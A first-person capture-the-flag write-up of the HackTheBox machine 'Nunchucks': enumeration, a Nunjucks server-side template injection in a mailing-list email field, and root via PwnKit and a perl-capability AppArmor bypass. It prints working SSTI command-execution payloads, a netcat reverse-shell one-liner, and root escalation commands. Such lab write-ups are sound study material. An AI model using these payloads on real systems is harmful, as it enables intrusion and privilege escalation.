HackTheBox: Nunchucks


This is another retired easy box. The difficulty rating is 3.8/10, and it's placed as harder than [[MonitorsTwo]] but easier than [[Pilgrimage]].


We have three ports open: 1) SSH on 22 2) HTTP on 80 3) SSL/HTTP on 443

Script scan shows that it's running Ubuntu, and both wep page ports are using nginx. It attempted to redirect us to "nunchucks.htb", so Ill add that to /etc/hosts and then visit the page.

Enumerating the web app

The http site simply redirects us to the https site, so that makes it easier for us; there's really only one port to enumerate.

The web app describes itself as "a leading online shop creation platform which offers amazing features for ecommerce". So let's skim through and see which links are live and where the lead.


And, while Im doing this, let me run gobuster in the background. To run gobuster I had to exclude results of length 45, as the web page returns status code 200 for EVERYTHING, but every non-existent result returns content length 45.

Manual exploration

Lets see what Wappalzyer tells us: - Its using the "Express" web framework - It's using Node.js as the language

Let's see what links are on the page: - The logo in the upper right corner of the page is a link to /index.html, but when you click it the page simply rads "this page doesnt exist". - There are numerous other links to jump to different sections of the landing page - The site is clearly pushing you to click the "signup" link

The "signup" page

This takes us to a pretty standard-looking sign-up form, asking for our email, name, and password.

There is also a "login" button here for if you already have an account. Ill have SQLMap run on the login form while I see what I can do with the signup and login pages.

Oh, nevermind, that saves me the trouble; "User logins are currently disabled".

Back to the signup page then.

So what kind of attack should I try here? Probably wouldn't be SQL injection, since nothing would be stored yet. Unless the INSERT statement is literally in the POST request, but that wont be the case.

Shit, let's start simple: just capture a signup request with some test data: email: test@doesnotexist name: shane password: password

Ahhh. I see where this is headed I think. The first thing that caught my eye about the signup request is that it submits the data in JSON format rather then the typical "field1=value1&field2=value2&..." format. Then I checked WHERE it's sending the data and noticed that it's actually an API endpoint: /api/signup. I know Im leaning on CTF experience rather than real-world theory here, but every time Ive seen API endpoints in these boxes its a command injection vuln.

Let me first see if I can enumerate the api. One thing to note is that there's a CSRF cookie. Hoewever, it doesnt actually change between requests, so I can probably just paste it in to each request. Interestingly, sending POST requests to this endpoint DOES generate a response, saying something along the lines of "signups are currently closed".

Let me try something new here: can I use gobuster to brute force the API endpoints? Let's try:

$ gobuster dir --url=https://nunchucks.htb/api/ --wordlist=/usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -k --exclude-length=45 -H "Cookie: _csrf=VcRHw-h2B4YWNSqT6npBGHnB" -m POST

Damn, its working like a charm! It hasnt found anything except "signup" and "login" though.

Before getting too deep: Lets do some research

I googled "express framework exploit before:2021-11-02" to show any public exploits that were known when this box released, and found an exploit-db page on exploiting a node.js unserialize() bug: (https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)

Apparently some node.js frameworks will run the session cookie through a function called unserialize(), which is vulnerable to RCE. Basically, you can serialize your own malicious code and add something to make it execute as soon as it's deserialized, then pass it to the unserialize function to gain RCE. There are some public proofs of concept that were available when this released. Ill try a public POC first, and after I get root Ill come back and figure out how to do it by hand

Figuring out the unserialize() payload by hand

Nevermind, the off-the-shelf exploits don't seem to work here for various reasons. Some try to use http which doesnt work here, and some dont seem to be encoding correctly, probably due to the python version. So ill have to figure it out myself.

I installed nodejs, the npm package manager, and the node-serialize module. This is actually kind of fun, getting some experience with writing nodejs.

So we use this block of code to generate our payload:

var y = {
rce : function(){
require('child_process').exec('ls /', function(error,
stdout, stderr) { console.log(stdout) });
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

which prints the serialized string to the command line as follows:

$ node nodejs_payload.js  
{"rce":"_$$ND_FUNC$$_function(){\nrequire('child_process').exec('ls /', function(error,\nstdout, stderr) { console.log(stdout) });\n}"}

Then we have to append () to the function body so that it executes as soon as it's deserialized. This is called an "Immediately Invoked Function Expression," or "IIFE":

{"rce":"_$$ND_FUNC$$_function(){\nrequire('child_process').exec('ls /', function(error,\nstdout, stderr) { console.log(stdout) });\n}()"}

See the parentheses right before the closing "}?

Im going to stop this line of experimentation here because the JSON parser gives me errors when I try to actually unserialize the thing, because of the curly brackets WITHIN the JSON value. Ill just assume that it will work.

For the Express exploit, we want to replace everything between the brackets with a nodejs reverse shell, which I generated with the nodejsshell.py code from here: (https://github.com/piyush-saurabh/exploits/blob/master/nodejsshell.py) (note that I am basically just following the exploit db article).

Then we have to base64 encode the whole malicious JSON payload.

Oh shit, I misunderstood this entire thing. The "Express" framework is not vulnerable, just the 'node-serialize' function, as far as I can tell. This may be a dead end

Further site enumeration

Read this excerpt from the /terms page:

The app also automatically collects and receives certain information from your computer or mobile device, including the activities you perform on our Website, the Platforms, and the Applications, the type of hardware and software you are using (for example, your operating system or browser).

This implies that the site pays some type of attention to the User-Agent header in the requests. Maybe this is exploitable?

I probably have to read the source code for this I guess.


There's nothing here except the damn "login" and "signup" pages that go to the API, but I cant seem to inject commands into anything. Im kind of stumped. Let me look up a hacktricks page on API pentesting.

Ill also fuzz for other subdomains.

Let me also check the forums. There's no guided mode for this, otherwise I'd do it that way. Damn... there IS no forum discussion. Let me check the official writeup, then.

Okay. I havent looked at the writeup yet. The machine info said the entry was an SSTI vuln, so I started checking the login JSON for this. I didnt exactly find that yet, but I did manage to get the thing to crash and show me an error. When i submit ${{<%[%'}%\ as the email to log in, I get the following:

SyntaxError: Unexpected token 
 in JSON at position 23<br>    at JSON.parse (<anonymous>)<br>    at parse (/var/www/nunchucks/node_modules/body-parser/lib/types/json.js:89:19)<br>    at /var/www/nunchucks/node_modules/body-parser/lib/read.js:121:18<br>    at invokeCallback (/var/www/nunchucks/node_modules/raw-body/index.js:224:16)<br>    at done (/var/www/nunchucks/node_modules/raw-body/index.js:213:7)<br>    at IncomingMessage.onEnd (/var/www/nunchucks/node_modules/raw-body/index.js:273:7)<br>    at IncomingMessage.emit (events.js:203:15)<br>    at endReadableNT (_stream_readable.js:1145:12)<br>    at process._tickCallback (internal/process/next_tick.js:63:19)

Also, try submitting a login request without the @ part and see what happens. A client-side script prevents you from doing it, but you can easily bypass that with burp suite

Motherfucker. I was right earlier...

Earlier I had thought that I should try subdomain enumeration, and I specifically thought that there's probably store.nunchucks.htb. It turns out there IS, I had just fucked up the fuzzing. I guess with nginx you have to have each attempt in the /etc/hosts file, you cant just use the "Host: " header.

Now that I added store.nunchucks.htb to /etc/hosts I CAN visit the page.

NOW I see what to do, and I shouldnt need the walkthrough. Granted, it helps that I already know what Im looking for; SSTI.

I went back to find it using a scanner because I didnt know why it wasnt working. I finally figured out how to find subdomains with Gobuster; you have to use the "--append-domain:" flag, as follows:

$ gobuster vhost --wordlist=/usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --url=https://nunchucks.htb -k --append-domain

NOW it finally catches subdomains:

Found: store.nunchucks.htb Status: 200 [Size: 4029]

SSTI on the 'email' form

There's a form "email" to subscribe to the mailing list, and it reflects your input after hitting submit. This is where Ill submit the SSTI payload.

Fuck yeah, got it. I sent the request to Burp Repeater and submitted the JSON


and got the response:

{"response":"You will receive updates on the following email address: 49."}

I take the payload from the hacktricks section on nunjucks:

{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}"}

(note that you have to escape the double quotes inside the payload to get it to work right)

and get:

{"response":"You will receive updates on the following email address: lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\nrtkit:x:113:117:RealtimeKit,,,:/proc:/usr/sbin/nologin\ndnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin\ngeoclue:x:115:120::/var/lib/geoclue:/usr/sbin/nologin\navahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin\ncups-pk-helper:x:117:123:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin\nsaned:x:118:124::/var/lib/saned:/usr/sbin/nologin\ncolord:x:119:125:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin\npulse:x:120:126:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin\nmysql:x:121:128:MySQL Server,,,:/nonexistent:/bin/false\n."''}

Okay. Got a shell with this payload:

{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f')\")()}}"}

That's going to be it for right now. Im basically out of time, and ill be on vacation this week. I still might do it, but Im going to make a point not to do much of this while im there, just to give myself a break

Returning after a break

Im back from vacation, and am going to pick up where I left off and try to finish this today.

I get a shell again using the SSTI injection from earlier, and now Ill upgraded it. First enter

python3 -c 'import pty; pty.spawn("/bin/bash")'

and then background the job with CTRL-Z. Now type stty raw -echo, and then foreground the job again with fg; note that you wont see anything typed right now, but it is still being processed. Then type reset, and you have a full shell:

david@nunchucks:~$ ls

Now we'll get the user flag and then move on to privilege escalation.

Privilege Escalation

We don't know david's password, so we likely cant even check our sudo permissions. My first course of action in this case is to look at SUID bins and then run linpeas. If linpeas spots any likely CVEs ill check those out. Otherwise Ill dig through the website files and look for database credentials. So to break it down, the plan of action is: 1) check for abusable SUID binaries for easy win 2) run linpeas to check for CVEs 3) scrounge through web files to look for database credentials

Although we dont have any useful SUID bins, Im looking at the version of sudo and Im pretty sure its vulnerable to the "sudo Baron Samedit" exploit. This has version 1.8.31.

Im going to upload some exploit code from Github and try it.

Damn, no luck:

david@nunchucks:/tmp/.shane$ ./exploit_nss.py 
Traceback (most recent call last):
  File "./exploit_nss.py", line 220, in <module>
    assert check_is_vuln(), "target is patched"
AssertionError: target is patched

The machine is using a patched version that isnt vulnerable. Okay, linpeas it is.

Well, the scan isnt done, but it looks like linpeas identified a 95% likely priv esc vector:

Files with capabilities (limited to 50):                                   
/usr/bin/perl = cap_setuid+ep

It also identified the following CVEs as being probable:

[CVE-2022-2586] nft_object UAF
[CVE-2021-4034] PwnKit
[CVE-2021-3156] sudo Baron Samedit
[CVE-2021-3156] sudo Baron Samedit 2
[CVE-2021-22555] Netfilter heap out-of-bounds write 

Because we have pkexec as an SUID, we should be able to run PwnKit here.

Priv esc using PwnKit (CVE-2021-4034)

I simply download the exploit binary from github (https://github.com/ly4k/PwnKit/blob/main/PwnKit) and then upload it to the victim and run it:

david@nunchucks:/tmp/.shane$ ls
linpeas.sh  pspy64  PwnKit
david@nunchucks:/tmp/.shane$ ./PwnKit 
root@nunchucks:/tmp/.shane# whoami 

and bam! Im root. Nice.

Im not sure if that was the intended priv esc, so Ill go back and check the writeup.

Beyond Root

Reading the Writeup

So apparently the PwnKit exploit was NOT the intended route. I kind of figured this since it seemed too easy.

Apparently the perl capabilities WAS the intended route, and it was by design that the GTFObins exploit for its capabilities didnt work. What I was actually supposed to do is investigate the AppArmor profile for perl. AppArmor is new to me, but it's apparently a kernel module for implementing security policies for programs. Meaning who can run them in what contexts, etc. In retrospect, AppArmor has probably been behind some of the weird issues Ive had getting reverse shells on other boxes.

You would check /etc/apparmor.d/usr.bin.perl to see what the security profile was for it, and see that perl's use is restricted so that it cant be used to spawn a root shell.

However, you were supposed to research bugs in the apparmor program and find that if you write a script and include a perl shebang, a bug causes apparmor not to apply the usual security to perl when it executes. Then you write a perl script headed with #!/usr/bin/perl, add lines to set the UID to 0 using it's capability, and then execute bash.

Also, the writeup adds a key to authorized_keys in the user David's home so that he can SSH in with a better shell.

So this works for root using perl:

david@nunchucks:/tmp$ cat root.pl 

use POSIX qw(setuid);                                   
exec "/bin/bash"

david@nunchucks:/tmp$ ./root.pl 

root@nunchucks:/tmp# whoami